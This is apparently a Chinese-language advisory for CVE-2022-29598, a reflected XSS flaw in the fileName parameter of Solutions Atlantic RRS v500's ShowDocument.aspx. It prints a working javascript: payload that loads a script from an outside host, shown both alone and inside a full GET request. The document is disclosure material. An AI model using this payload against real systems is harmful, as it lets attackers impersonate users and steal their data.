Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29598
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-29598
Solutions Atlantic 的 RRS v500 应用程序存在反射型跨站脚本(XSS)漏洞。利用 XSS 漏洞可能允许攻击者冒充受害者用户、泄露敏感数据,或执行受害者用户被允许执行的操作。
发现参数 fileName 接受用户输入并将其反射到服务器的响应中。虽然在反射之前执行了一些用户输入过滤和清理,例如对一些特殊字符进行编码(大于/小于符号),但由于反射发生在 JavaScript 上下文中,因此可以将 JavaScript 代码注入服务器响应,从而绕过这些限制。
受影响的 URL:
/RRSWeb/maint/ShowDocument/ShowDocument.aspx使用的 XSS 载荷:
javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';//受影响的 URL:
/RRSWeb/maint/ShowDocument/ShowDocument.aspx该应用程序具有链接到外部网站的能力。当选择指向外部网站的链接时,会向 /RRSWeb/maint/ShowDocument/ShowDocument.aspx 发起一个请求,该请求带有两个参数:fileName(将包含要重定向到的外部网站的 URL)和 requestType(其值为 ExternalLink)。只要 requestType 参数设置为其默认值,用户在 fileName 参数中输入的任何内容都将被反射到一个 JavaScript 上下文,特别是 window.location.href 中。使用带有 JavaScript 指令的 XSS 载荷,就可以成功实施反射型 XSS 攻击。
带有 XSS 载荷的 GET 请求:
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?requestType=ExternalLink&fileName=javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';// HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://<REDACTED>/RRSweb/default.aspx
Cookie: ASP.NET_SessionId=<REDACTED>
Upgrade-Insecure-Requests: 1
Content-Length: 0
服务器响应:

浏览器渲染结果:

2022 年 4 月